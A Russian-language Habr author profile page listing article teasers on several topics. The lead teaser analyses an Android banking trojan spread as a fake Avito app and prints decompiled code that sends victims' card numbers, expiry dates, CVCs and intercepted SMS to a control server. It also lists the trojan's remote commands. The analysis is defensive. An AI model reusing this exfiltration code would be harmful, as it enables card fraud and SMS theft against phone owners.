Search
Write a publication
Pull to refresh
46
0.8
Send message

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →

Оптимизация Linux для desktop и игр

Reading time8 min
Views176K
В этой статье я хочу поделиться почти 10-летним опытом использования Linux на домашнем компьютере. За это время я провел много экспериментов над ядром, испробовал различные конфигурации для разных применений и теперь хочу все это систематизировать в длинный пост с рекомендациями как выжать из linux максимум и добиться отличной производительности, без необходимости покупать мощное железо.

Лично я считаю часть, где я написал про тюнинг ядра все же немного устарела и современное железо уже априори выдает необходимую производительность для нормальной работы, но, как мне удалось заметить недавно, с играми все равно, даже сейчас, есть проблемы, даже на мощном железе.

Хоть я и пообещал, что после прочтения этой статьи, можно будет играть в Metro 2033 на калькуляторе (шутка, такого не будет), все же она начнется с рекомендации купить кое-что из железа, если у вас этого еще нет.
Читать дальше →

Жалуйтесь на здоровье: как мы поняли, что главное — это саппорт

Reading time5 min
Views19K
Один из самых надежных способов потерять веру в победу добра над злом и возненавидеть человечество — устроиться на работу в техподдержку. Саппорт — уж точно работа не для слабаков. Пока ваши коллеги генерят идеи и разрабатывают разные клевые штуки, вы в техподдержке проходите все круги ада. Вас будут обзывать полными придурками и криворукими недоумками, обвинять в том, в чем вы не виноваты, и просить о том, чего вы сделать не в состоянии.



Техподдержка финансового сервиса в этом смысле выделяется даже на общем фоне, потому что тут ведь речь идет о самом важном — о деньгах. И не дай бог вам сделать что-нибудь не то с деньгами ваших пользователей (или им со своими деньгами, но с помощью вашего сервиса — мы писали в прошлый раз, что больше половины проблем с переводами происходят из-за невнимательности пользователей). Пощады не ждите, получите по полной.



Читая подобные сообщения, легче всего прийти к выводу, что эти «рассерженные горожане», скажем так, небольшого ума люди. А значит, не стоит обращать на них много внимания, ведь не для них вы делаете ваш суперсервис (а для хороших, дружелюбных, умных). Но такая стратегия до добра не доведет.

Поначалу большинство стартаперов думают только о том, как сделать работающую вещь и рассказать о ней хорошим людям. Но, если сразу не наладить хороший саппорт, получится парадокс: вы будете тратить деньги на то, чтобы заставить людей попробовать сервис, игнорируя при этом тех, кто уже им пользуется.

Зачем привлекать новых пользователей, когда лучше удержать старых? Мы в UBANK в свое время полностью пересмотрели организацию работы техподдержки, сделав ее одним из приоритетных направлений для компании. И в этом посте решили поделиться несколькими простыми принципами, которые помогли нам наладить эффективную работу саппорта.
Читать дальше →

Интерфейсы в реальном мире

Reading time5 min
Views180K
IT-интерфейсы часто растут из физических. Например, вот аппаратные чекбоксы:



Вообще, лучший же пример правильного инженерного интерфейса – это гранёный стакан.

Почему? Очень просто. С одной стороны, он дружелюбен к советским роботам: круглая верхняя полоса позволяет автоматической мойке нащупать его ещё с 40-х годов. С другой стороны, он прощает человеческие ошибки: ребра останавливают скатывание стакана со стола при падении. Плюс он просто красивый.

Сейчас покажу ещё несколько интерфейсов, которые облегчают жизнь. Общий смысл – попробовать понять, как думал разработчик, чтобы сделать что-то удобнее.
Читать дальше →

Копирование разделов жёсткого диска средствами GNU/Linux: как обойтись загрузочной флешкой там, где раньше нужен был Акронис

Reading time12 min
Views209K
С тех пор как до меня дошла благая весть о существовании операционной системы под названием GNU/Linux, которую используют все настоящие программисты, я несколько раз пытался заменить ей детище Билла Гейтса и несколько раз потерпел неудачу.

Гуру поблизости отсутствовали, доступ к интернету был жёстко ограничен и потому любая нетривиальная задача становилась в те времена совершенно нерешаемой.

Потом, когда появился безлимитный интернет, вследствие чего с получением софта и знаний стало существенно легче, я настроил себе дуал бут и стал осваивать Убунту.

Основные сложности в процессе переезда создались в первую очередь из за необходимости бросить знакомые практически с самого детства программки, которые попросту отсутствуют в операционной системе для настоящих программистов.

В большинстве случаев это было не фатально. Вместо привычного foobar всегда можно послушать музыку на Rhythmbox. Вместо Microsoft Office есть OpenOffice. Да, его совместимость с продуктом корпорации зла порой оставляет желать лучшего, но им вполне можно пользоваться для решения повседневных задач среднестатистического пользователя. Обо всяких Файрфоксах, Операх и Хромах я вообще молчу.

Но в некоторых случаях приходилось перезагружать компьютер, выбирать в меню загрузчика пункт Microsoft Windows и делать всё по старинке. Такой задачей было например снятие образа логического диска в целях переноса на другой физический носитель, потому как текущий уже изрядно поистрепался.
Читать дальше →

Грабли, на которые не стоит наступать

Reading time5 min
Views80K
От переводчика: Это перевод статьи авторства Джоэля Спольски (Joel Spolsky). Через 2 года эта статья уже сможет получить автомобильные права в США, а еще через два — и не только там. Да, ей 14 лет (а точнее 14 лет и 11 дней), но актуальности она не потеряла ни грамма. Я регулярно вижу, как программисты (да и я сам, временами) порываются наступить на эти грабли. Тот факт, что я не нашел ее перевода на Хабре, вполне может свидетельствовать о том, что я плохо искал. Об ошибках перевода прошу сообщать в ЛС

UPD: Оказывается перевод статей Джоэля, в т. ч и этой, есть еще в бумажном издании «Джоэл о программировании»

Наконец выходит первая публичная бета-версия Netscape 6.0. Версии 5.0 не существует. Предыдущий мажорный релиз — версия 4.0 — был выпущен почти три года назад. Три года — это невероятно большой срок в мире интернета. Все это время в Netscape сидели и беспомощно наблюдали за тем, как уменьшается их доля рынка.

Это немного подло с моей стороны критиковать их за столь долгое ожидание между релизами. Они ведь не специально это сделали, правда?
Читать дальше →

Как стартапы вроде Dropbox, Airbnb, Groupon и других заполучили своих первых пользователей

Reading time7 min
Views33K
Данный пост является переводом статьи с reddit и представляет собой выжимку наиболее интересных фактов о том, какие шаги предпринимали известные стартапы в первые месяцы своего существования для привлечения первых пользователей. Некоторые советы в статье могут показаться очевидными, но в целом подборка историй мне показалась довольно интересной, а посему захотелось ею поделиться.

Под катом истории таких компаний, как Dropbox, Reddit, Quora, Foursquare, Groupon, Tinder и Airbnb.
Читать дальше →

Почему Биткоин – это хорошо

Reading time4 min
Views38K


Ко мне обратились с просьбой помочь аргументировано доказать, что BTC – это хорошо, несмотря на негативную реакцию на них России и некоторых окрестных стран.

Кстати, как характерно расположились на карте страны, согласно отношению к BTC…

Я решил, что при обсуждении на Хабре этого вопроса может появиться ещё много хороших аргументов, которые я сам не придумаю.

Итак – чем же хороши BTC.
Читать дальше →

Dr. Tariff 2.0: новые возможности для абонентов Билайн, МегаФон и МТС

Reading time2 min
Views56K


Здравствуй, Хабр!

Наше мобильное приложение по оптимизации затрат на сотовую связь существенно преобразилось. Под катом можно узнать какие новые возможности для экономии в нем появились.
Читать дальше →

Github — без командной строки

Reading time2 min
Views69K

Иногда, исследуя чужие репозитории на github, замечаешь ошибки, неточности или же понимаешь, что мог бы добавить что-нибудь полезное, но, кого-то необходимость выполнять кучу действий в командной строке может отпугнуть, кому-то она в данный момент не доступна, и мы проходим мимо.

Многие опытные пользователи github-а знают, что отнюдь не для всего обязательно нужно использовать командную строку. Все это так.

Здесь я собрал несколько рецептов, используя которые, вы сможете без единой команды git, скопировать себе репозиторий, создать там вспомогательную ветку, в ней что-то отредактировать, добавить/удалить файлы/папки, сделать пулл-реквест в оригинальный репозиторий. А по истечению какого-то времени, когда в оригинальном репозитории накопятся изменения не отраженные в нашей копии — синхронизировать эти два репозитория — причем тоже без единой git-команды.

Читать дальше →

Как создать интересный игровой сеттинг? Уровень первый: текст

Reading time6 min
Views52K


Всем известно, что 90% информации мы воспринимаем визуально, в краткосрочной памяти может одновременно храниться от 5 до 9 объектов, а эпоха Twitter установила для текстов болевой порог в 140 знаков. Удержание внимания игроков (как и самих игроков) актуально даже для китов игровой индустрии, что уж говорить про небольшие компании, в которых от решения этой проблемы зависит жизнеспособность их проекта.
Читать далее

Multiseat для Windows рабочих мест

Reading time10 min
Views48K

Хочу вам рассказать о необычном способе создания многопользовательской рабочей станции, в качестве основы которого лежит VMPlayer.

Данное решение разрабатывалось для коммерческой эксплуатации, а в качестве посыла к решению этой задачи ставилось утверждение, что текущие характеристики приобретаемого оборудования превосходят потребности пользователей и используемого ими программного обеспечения. Конечно, это касается в основном типового офисного планктона и многих периферийных должностей. Также это будет полезно для решения проблем у тех, кому руководство по своим, вполне обоснованным соображениям, отказало или с большой вероятностью откажет в просьбе обновления рабочей станции. Печально, но так бывает…

Для того чтобы решение стало достойным применения, ему были предъявлены следующие требования:
  • В качестве операционной системы для конечных пользователей должна остаться Windows.
  • Стоимость системного блока для двух сотрудников, в идеале должна быть сравнима со стоимостью одного типового, из приобретаемых на тот момент.
  • Работа пользователей не должна сколько-нибудь заметно замедлится или быть некомфортной, от того, что используется один компьютер.

Ну собственно, бизнес-требования ясны, значит пора переходить к решению…
Читать дальше →

О плохих словах, или Как написать текст, не сделав из него какашку

Reading time8 min
Views65K
Здравствуйте.
В первой части статьи я расскажу о некоторых стилистических «косяках», которые придают текстам характерный канцелярский унылый стиль. Вторая часть посвящена более серьёзной ошибке, которая, к сожалению, грозит в ближайшее время стать правилом.
Читать дальше →

Ученые из Стэнфорда создали приложение, позволяющее подслушивать с помощью гироскопа Android-смартфона

Reading time2 min
Views50K


Вопросы информационной безопасности занимают умы многих специалистов и пользователей. С развитием технологий расширяются и возможности разного рода шпионов/злоумышленников, которые используют, порой, весьма оригинальные способы получения защищенной информации.

Специалисты же по информационной безопасности стараются идти на шаг впереди, и сами изобретают новые способы подслушать и подсмотреть, с тем, чтобы предупредить разработчиков устройств и их пользователей. «Предупрежден — значит, вооружен».

Специалисты из Стэнфорда разработали приложение, Gyrophone, которое позволяет преобразовать гироскоп устройства (в данном случае речь идет об Android-смартфонах) в качестве микрофона. Насколько можно понять, гироскоп iPhone не подходит для считывания звука, поскольку этот модуль работает только с колебаниями частотой ниже 100 Гц.

Читать дальше →

Мёртвая «Ксюша» и пыльный чайник. Почему «АвтоматическийСтол» — корпорация зла

Reading time14 min
Views166K
Помните начало фильма «Джиперс Криперс» — Каждую 23 весну, на протяжении 23 дней, оно ест?



Так вот…. Каждый год, в одно и то же время, компания Autodesk, выпускает новую версию всех своих продуктов, и обрубает поддержку старых. Тем самым вынуждая пользователей каждый год обновлять лицензии (расценка продукции — гляньте одним глазком.). И всё бы ничего, если бы компания реально думала о пользователях, а не о расширении рынка для сбыта своих программ.


Пример отличного дизайна — как глюк программы превратить в логотип.

Я начал писать эту статью сильно возмущенный нынешней ситуацией с 3ds max, но по мере того как я собирал материал и читал различные форумы — я стал понимать, что проблема глобальней чем просто с одним графическим пакетом. Сразу оговорюсь, я пишу с точки зрения одного человека, а не производственной компании. И начну я, пожалуй, именно с:
Читать дальше →

Нам нужен блог

Reading time4 min
Views6.7K
Эта статья возникла в ходе работы над предыдущей. Михаель озадачил нас, назвав цифру в 1500 слов, как необходимый минимум содержимого на странице. В ходе рассмотрения вариантов реализации этого требования одним из самых логичных вариантов решения проблемы без ущерба для дизайна сайта нам представляется блог.

Мы решили рассмотреть, какие еще преимущества дает ведение блога, в том числе для интернет-магазинов и других коммерческих проектов. Оказалось, что в контексте современного SEO блог имеет целый ряд плюсов, отказываться от которых, как минимум, не целесообразно.

Блог и SEO:

Если ваша аудитория мала, у вас может возникнуть мысль о том, что создание блога не имеет никакого смысла, так как никто не будет его читать. Это абсолютно не так, отсутствие блога – это одна из причин, почему ваша аудитория остается небольшой.
Читать дальше →

Все сломано

Reading time15 min
Views57K
Представляю вашему вниманию перевод статьи Everything is Broken, опубликованной в мае 2014 года на The Medium американской журналисткой Quinn Norton, которая специализируется на проблемах информационной безопасности. Статья рассматривает современный мир информационных технологий и место вопросов безопасности и конфиденциальности данных в нем. Статья местами содержит довольно резкую критику, тем не менее, поднимаемые в ней проблемы актуальны и не решены по сей день. В конечном счете, в этом, отчасти, и заключается работа журналиста — задавать неудобные вопросы.



Однажды, один мой знакомый получил контроль над тысячами компьютеров. Он нашел уязвимость в программном обеспечении и принялся испытывать ее. В процессе, он понял что, теоретически, может получить полный административный контроль над всей сетью, где используется данное программное обеспечение. Он загрузил скрипт на удаленный сервер и запустил его, чтобы посмотреть что произойдет, а сам отправился спать. На следующее утро он решил проверить результат работы, и каково же было его удивление, когда он обнаружил, что имеет полный доступ на 50 000 компьютерах. Испугавшись ответственности за содеянное, он тут же остановил процесс и принялся удалять свои скрипты. В конечном счете, как он мне сказал, он даже уничтожил жесткий диск, бросив его в огонь. Я не могу выдать вам личность этого человека, потому что не хочу чтобы он оказался в Федеральной тюрьме, что и произошло бы, если бы он сообщил о найденной уязвимости и своем эксперименте кому-то еще. Вам наверное интересно, пофикшен ли сейчас это баг? Возможно да, но точно не благодаря моему знакомому. Это история не так уж и удивительна. Проводите время на хакерской сцене и вы услышите истории и похуже.

Трудно объяснить обычным людям, какое большое количество технологий работает весьма посредственно и что их жизни уже давно тесно переплетены с IT-инфраструктурой, подобно прессованной проволоке.

Компьютеры и компьютерные технологии — все сломано.
Читать дальше →

С чего началось использование [x] в дизайне графических интерфейсов

Reading time6 min
Views53K
Немалую роль в дружественном взаимодействии пользователя и сайта играют привычные элементы управления. Например, крестик для закрытия окна. Последние несколько дней в интернете широко обсуждалась одна статья об истоках возникновения этого элемента пользовательского интерфейса и она даже привлекла внимание одного из первых разработчиков Windows 95, но об этом ниже.

В пользовательских интерфейсах мы видим X повсеместно. Этот могущественный символ способен закрывать рабочие и всплывающие окна, панели инструментов и вкладки, а также убрать вообще все, что только может создать вам помехи на экране.

Использование нажатия на [x] для того, чтобы закрыть тот или иной элемент превратилось в один из основных инстинктов, связанных с использованием компьютера и стало стандартом в дизайне веб-сайтов и компьютерных приложений. Может показаться, что вездесущий [x] всегда был частью интерфейсов, однако этот короткий и увлекательный экскурс в историю пользовательских графических интерфейсов показывает, что на самом деле дела обстоят иначе.

Итак, где и когда [х] впервые попал в лексикон интерфейсов?
Читать дальше →

Идентификация загружаемых модулей ядра Linux [ч.1]: исходные тексты

Reading time4 min
Views13K
В этом посте я расскажу о своих поисках признаков того, как можно определить, что из некоторых файлов исходных текстов собирается загружаемый модуль ядра Linux (LKM), а не обычный исполняемый файл.
Допустим, что информации о назначении исходников нет или её пытаются преднамеренно скрыть.
Upd: Объём кода > 4 Гб и надо оперативно выделить только те исходники, которые реализуют модули ядра.





#01 __KERNEL__ 


При сборке исходных текстов определён символ препроцессора __KERNEL__.

Читать дальше →

Information

Rating
2,693-rd
Location
Niedersachsen, Германия
Registered
Activity